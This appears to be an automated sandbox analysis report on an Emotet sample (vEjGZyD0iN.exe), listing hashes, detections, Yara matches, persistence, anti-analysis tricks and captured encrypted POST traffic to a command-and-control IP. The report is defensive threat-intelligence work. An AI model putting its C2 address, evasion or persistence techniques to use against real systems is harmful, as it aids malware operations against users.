Analysis Report vEjGZyD0iN.exe

ID:	387710
Product:	CloudBasic
Start time:	14:42:24
Start date:	15.04.2021
Sample:	vEjGZyD0iN.exe
Cookbook:	default.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	ecbc4b40dcfec4ed1b2647b217da0441
SHA1:	e08eb07c69d8fc8e75927597767288a21d6ed7f6
SHA256:	878d5137e0c9a072c83c596b4e80f2aa52a8580ef214e5ba0d59daa5036a92f8
Filetype:	Win32 Executable (generic) a (10002005/4) 99.96%

Name	Type	MD5	SHA1	SHA256

AV Detection:

Antivirus / Scanner detection for submitted sample

Source: vEjGZyD0iN.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: vEjGZyD0iN.exe	Virustotal: Detection: 86%			Perma Link
Source: vEjGZyD0iN.exe	ReversingLabs: Detection: 96%

Machine Learning detection for sample

Source: vEjGZyD0iN.exe

Joe Sandbox ML: detected

Compliance:

Uses 32bit PE files

Source: vEjGZyD0iN.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: vEjGZyD0iN.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking:

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 79.172.249.82 79.172.249.82

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: POST / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 79.172.249.82:443Content-Length: 436Connection: Keep-AliveCache-Control: no-cacheData Raw: 23 69 5d 58 20 f6 64 09 28 5b a9 4c 38 7e b6 f2 94 d0 14 cf 6f 25 39 c5 a1 11 49 f8 4c 0d 98 ca 13 46 0d 2d 27 fa 14 33 7a 63 0e 6f d0 51 e6 17 e5 2d 70 05 3d 55 4b 0a 09 0e 1b 99 f1 26 2c a5 bd af 4f f5 8a 78 af 49 3d e1 ee bf 07 04 ca 18 6c 44 b3 ad 3b 56 c3 20 0f 48 39 79 89 3b 23 32 65 79 9d 05 16 45 e6 8b 45 3d f9 21 58 a5 da 47 cc 17 fc 26 70 77 3e 04 b4 40 07 01 8a f5 e3 27 a6 78 4d 7e e9 96 86 c7 6e 1a 55 40 cd f4 62 6a 3e 68 57 70 ae c5 ec f7 12 67 ba ab 40 8e 94 d6 3f 19 f6 61 a2 06 93 f4 15 0f 17 00 05 5a fe 5d c1 b8 e3 26 4c 93 7e 4b 11 10 f2 8f 24 6c 38 41 39 76 ec 1a 38 2c 43 90 fa 66 a8 a0 f4 a1 69 a6 ad 1e 28 fa 89 07 3e da ed 3a 85 27 2c 72 0e c2 34 23 1c 68 87 cc f5 be 42 31 c9 20 dd 6b 3c 89 4c f2 43 a4 41 b7 5c 96 99 29 bb 9d 86 72 5e 86 c7 c5 a3 b1 fb 10 4f 0c 26 54 18 16 2c 68 f7 57 65 21 6a 38 46 34 6d c9 06 4b 2a ae b4 cd 83 59 e1 52 7f a4 bc ec 3e 24 5b 75 02 7e eb 7d b2 e6 a2 af e4 19 36 e2 e2 6f f1 03 3d 1b 34 2e ad 99 c8 0d 8d e5 19 d5 a7 52 f4 e7 54 48 ed dd 91 d4 20 72 1a 59 94 6c b7 df 9d d8 47 9d 49 6c 94 2a d4 a5 70 87 5d 7c 2e 63 b8 3e c9 48 52 3b 04 30 03 56 d2 91 4c 8d e1 96 a3 9a 39 a5 ba 45 25 49 4f 64 9f 6d 78 3e 71 95 92 af e5 f9 55 21 d7 e5 89 3d e7 f6 53 01 a0 c6 4e 24 e3 68 d7 a8 73 80 21 7d 87 07 0a f1 3f f2 a0 e5 e0 a4 a4 34 c9 ec 43 4a 12 ac Data Ascii: #i]X d([L8~o%9ILF-'3zcoQ-p=UK&,OxI=lD;V H9y;#2eyEE=!XG&pw>@'xM~nU@bj>hWpg@?aZ]&L~K$l8A9v8,Cfi(>:',r4#hB1 k<LCA\)r^O&T,hWe!j8F4mK*YR>$[u~}6o=4.RTH rYlGIl*p]|.c>HR;0VL9E%IOdmx>qU!=SN$hs!}?4CJ

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 79.172.249.82
Source: unknown	TCP traffic detected without corresponding DNS query: 79.172.249.82
Source: unknown	TCP traffic detected without corresponding DNS query: 79.172.249.82
Source: unknown	TCP traffic detected without corresponding DNS query: 79.172.249.82
Source: unknown	TCP traffic detected without corresponding DNS query: 79.172.249.82
Source: unknown	TCP traffic detected without corresponding DNS query: 79.172.249.82

Posts data to webserver

Source: unknown

HTTP traffic detected: POST / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 79.172.249.82:443Content-Length: 436Connection: Keep-AliveCache-Control: no-cacheData Raw: 23 69 5d 58 20 f6 64 09 28 5b a9 4c 38 7e b6 f2 94 d0 14 cf 6f 25 39 c5 a1 11 49 f8 4c 0d 98 ca 13 46 0d 2d 27 fa 14 33 7a 63 0e 6f d0 51 e6 17 e5 2d 70 05 3d 55 4b 0a 09 0e 1b 99 f1 26 2c a5 bd af 4f f5 8a 78 af 49 3d e1 ee bf 07 04 ca 18 6c 44 b3 ad 3b 56 c3 20 0f 48 39 79 89 3b 23 32 65 79 9d 05 16 45 e6 8b 45 3d f9 21 58 a5 da 47 cc 17 fc 26 70 77 3e 04 b4 40 07 01 8a f5 e3 27 a6 78 4d 7e e9 96 86 c7 6e 1a 55 40 cd f4 62 6a 3e 68 57 70 ae c5 ec f7 12 67 ba ab 40 8e 94 d6 3f 19 f6 61 a2 06 93 f4 15 0f 17 00 05 5a fe 5d c1 b8 e3 26 4c 93 7e 4b 11 10 f2 8f 24 6c 38 41 39 76 ec 1a 38 2c 43 90 fa 66 a8 a0 f4 a1 69 a6 ad 1e 28 fa 89 07 3e da ed 3a 85 27 2c 72 0e c2 34 23 1c 68 87 cc f5 be 42 31 c9 20 dd 6b 3c 89 4c f2 43 a4 41 b7 5c 96 99 29 bb 9d 86 72 5e 86 c7 c5 a3 b1 fb 10 4f 0c 26 54 18 16 2c 68 f7 57 65 21 6a 38 46 34 6d c9 06 4b 2a ae b4 cd 83 59 e1 52 7f a4 bc ec 3e 24 5b 75 02 7e eb 7d b2 e6 a2 af e4 19 36 e2 e2 6f f1 03 3d 1b 34 2e ad 99 c8 0d 8d e5 19 d5 a7 52 f4 e7 54 48 ed dd 91 d4 20 72 1a 59 94 6c b7 df 9d d8 47 9d 49 6c 94 2a d4 a5 70 87 5d 7c 2e 63 b8 3e c9 48 52 3b 04 30 03 56 d2 91 4c 8d e1 96 a3 9a 39 a5 ba 45 25 49 4f 64 9f 6d 78 3e 71 95 92 af e5 f9 55 21 d7 e5 89 3d e7 f6 53 01 a0 c6 4e 24 e3 68 d7 a8 73 80 21 7d 87 07 0a f1 3f f2 a0 e5 e0 a4 a4 34 c9 ec 43 4a 12 ac Data Ascii: #i]X d([L8~o%9ILF-'3zcoQ-p=UK&,OxI=lD;V H9y;#2eyEE=!XG&pw>@'xM~nU@bj>hWpg@?aZ]&L~K$l8A9v8,Cfi(>:',r4#hB1 k<LCA\)r^O&T,hWe!j8F4mK*YR>$[u~}6o=4.RTH rYlGIl*p]|.c>HR;0VL9E%IOdmx>qU!=SN$hs!}?4CJ

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

E-Banking Fraud:

Yara detected Emotet

Source: Yara match	File source: vEjGZyD0iN.exe, type: SAMPLE
Source: Yara match	File source: 00000001.00000000.326121826.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.404026613.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.334582341.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.327566145.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.327122709.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.335148697.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.334160361.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.333230150.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 2.0.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Source: vEjGZyD0iN.exe, type: SAMPLE	Matched rule: Emotet Payload Author: kevoreilly
Source: 2.0.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet Payload Author: kevoreilly
Source: 1.0.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet Payload Author: kevoreilly
Source: 6.0.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet Payload Author: kevoreilly
Source: 1.2.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet Payload Author: kevoreilly
Source: 4.0.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet Payload Author: kevoreilly
Source: 4.2.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet Payload Author: kevoreilly
Source: 6.2.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet Payload Author: kevoreilly
Source: 2.2.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet Payload Author: kevoreilly

Creates files inside the system directory

Source: C:\Windows\SysWOW64\lookupcart.exe

File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache

Jump to behavior

Deletes files inside the Windows folder

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

File deleted: C:\Windows\SysWOW64\lookupcart.exe:Zone.Identifier

Jump to behavior

Detected potential crypto function

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe	Code function: 1_2_009877F0		1_2_009877F0
Source: C:\Users\user\Desktop\vEjGZyD0iN.exe	Code function: 1_2_00986E70		1_2_00986E70

Sample file is different than original file name gathered from version info

Source: vEjGZyD0iN.exe, 00000002.00000002.335820023.0000000002A90000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs vEjGZyD0iN.exe
Source: vEjGZyD0iN.exe, 00000002.00000002.335922760.0000000002AF0000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs vEjGZyD0iN.exe
Source: vEjGZyD0iN.exe, 00000002.00000002.335922760.0000000002AF0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs vEjGZyD0iN.exe

Uses 32bit PE files

Source: vEjGZyD0iN.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Yara signature match

Source: vEjGZyD0iN.exe, type: SAMPLE	Matched rule: Emotet author = kevoreilly, description = Emotet Payload, cape_type = Emotet Payload
Source: 2.0.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet author = kevoreilly, description = Emotet Payload, cape_type = Emotet Payload
Source: 1.0.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet author = kevoreilly, description = Emotet Payload, cape_type = Emotet Payload
Source: 6.0.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet author = kevoreilly, description = Emotet Payload, cape_type = Emotet Payload
Source: 1.2.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet author = kevoreilly, description = Emotet Payload, cape_type = Emotet Payload
Source: 4.0.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet author = kevoreilly, description = Emotet Payload, cape_type = Emotet Payload
Source: 4.2.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet author = kevoreilly, description = Emotet Payload, cape_type = Emotet Payload
Source: 6.2.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet author = kevoreilly, description = Emotet Payload, cape_type = Emotet Payload
Source: 2.2.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Emotet author = kevoreilly, description = Emotet Payload, cape_type = Emotet Payload

Classification label

Source: classification engine

Classification label: mal88.troj.evad.winEXE@8/0@0/1

Contains functionality to enum processes or threads

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

Code function: 1_2_00982110 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

1_2_00982110

Creates mutexes

Source: C:\Windows\SysWOW64\lookupcart.exe	Mutant created: \BaseNamedObjects\M6ED6084C
Source: C:\Users\user\Desktop\vEjGZyD0iN.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\M46DB9CB6
Source: C:\Users\user\Desktop\vEjGZyD0iN.exe	Mutant created: \Sessions\1\BaseNamedObjects\MFDF2F994
Source: C:\Users\user\Desktop\vEjGZyD0iN.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\I46DB9CB6
Source: C:\Windows\SysWOW64\lookupcart.exe	Mutant created: \BaseNamedObjects\Global\I46DB9CB6

PE file has an executable .text section and no other executable section

Source: vEjGZyD0iN.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads ini files

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Sample is known by Antivirus

Source: vEjGZyD0iN.exe	Virustotal: Detection: 86%
Source: vEjGZyD0iN.exe	ReversingLabs: Detection: 96%

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\vEjGZyD0iN.exe 'C:\Users\user\Desktop\vEjGZyD0iN.exe'
Source: C:\Users\user\Desktop\vEjGZyD0iN.exe	Process created: C:\Users\user\Desktop\vEjGZyD0iN.exe C:\Users\user\Desktop\vEjGZyD0iN.exe
Source: unknown	Process created: C:\Windows\SysWOW64\lookupcart.exe C:\Windows\SysWOW64\lookupcart.exe
Source: C:\Windows\SysWOW64\lookupcart.exe	Process created: C:\Windows\SysWOW64\lookupcart.exe C:\Windows\SysWOW64\lookupcart.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\vEjGZyD0iN.exe	Process created: C:\Users\user\Desktop\vEjGZyD0iN.exe C:\Users\user\Desktop\vEjGZyD0iN.exe			Jump to behavior
Source: C:\Windows\SysWOW64\lookupcart.exe	Process created: C:\Windows\SysWOW64\lookupcart.exe C:\Windows\SysWOW64\lookupcart.exe			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: vEjGZyD0iN.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

Code function: 1_2_00981F40 VirtualAlloc,memcpy,memcpy,LoadLibraryA,GetProcAddress,VirtualFree,

1_2_00981F40

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\lookupcart.exe

Executable created and started: C:\Windows\SysWOW64\lookupcart.exe

Jump to behavior

Drops PE files to the windows directory (C:\Windows)

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

PE file moved: C:\Windows\SysWOW64\lookupcart.exe

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

File opened: C:\Windows\SysWOW64\lookupcart.exe:Zone.Identifier read attributes | delete

Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Windows\SysWOW64\lookupcart.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\lookupcart.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\lookupcart.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\lookupcart.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

Contains capabilities to detect virtual machines

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Found large amount of non-executed APIs

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

API coverage: 6.4 %

Program does not show much activity (idle)

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Checks the free space of harddrives

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: svchost.exe, 00000007.00000002.363918563.000001979E140000.00000002.00000001.sdmp, svchost.exe, 00000009.00000002.404389450.000002328DC70000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: svchost.exe, 00000007.00000002.363918563.000001979E140000.00000002.00000001.sdmp, svchost.exe, 00000009.00000002.404389450.000002328DC70000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: svchost.exe, 00000007.00000002.363918563.000001979E140000.00000002.00000001.sdmp, svchost.exe, 00000009.00000002.404389450.000002328DC70000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: svchost.exe, 00000007.00000002.363918563.000001979E140000.00000002.00000001.sdmp, svchost.exe, 00000009.00000002.404389450.000002328DC70000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Queries a list of all running processes

Source: C:\Windows\SysWOW64\lookupcart.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

Code function: 1_2_00981F40 VirtualAlloc,memcpy,memcpy,LoadLibraryA,GetProcAddress,VirtualFree,

1_2_00981F40

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

Code function: 1_2_00981BE0 mov eax, dword ptr fs:[00000030h]

1_2_00981BE0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

Code function: 1_2_009815B0 GetModuleFileNameW,_snwprintf,GetProcessHeap,HeapFree,_snwprintf,GetProcessHeap,HeapFree,CreateEventW,CreateMutexW,CloseHandle,GetLastError,SetEvent,CloseHandle,CloseHandle,memset,CreateProcessW,WaitForSingleObject,CloseHandle,CloseHandle,CloseHandle,CloseHandle,

1_2_009815B0

Program does not show much activity (idle)

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Language, Device and Operating System Detection:

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\lookupcart.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Contains functionality to query windows version

Source: C:\Users\user\Desktop\vEjGZyD0iN.exe

Code function: 1_2_00988D50 RtlGetVersion,GetNativeSystemInfo,

1_2_00988D50

Queries the cryptographic machine GUID

Source: C:\Windows\SysWOW64\lookupcart.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Emotet

Source: Yara match	File source: vEjGZyD0iN.exe, type: SAMPLE
Source: Yara match	File source: 00000001.00000000.326121826.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.404026613.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.334582341.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.327566145.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.327122709.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.335148697.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.334160361.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.333230150.0000000000981000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 2.0.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.lookupcart.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.vEjGZyD0iN.exe.980000.0.unpack, type: UNPACKEDPE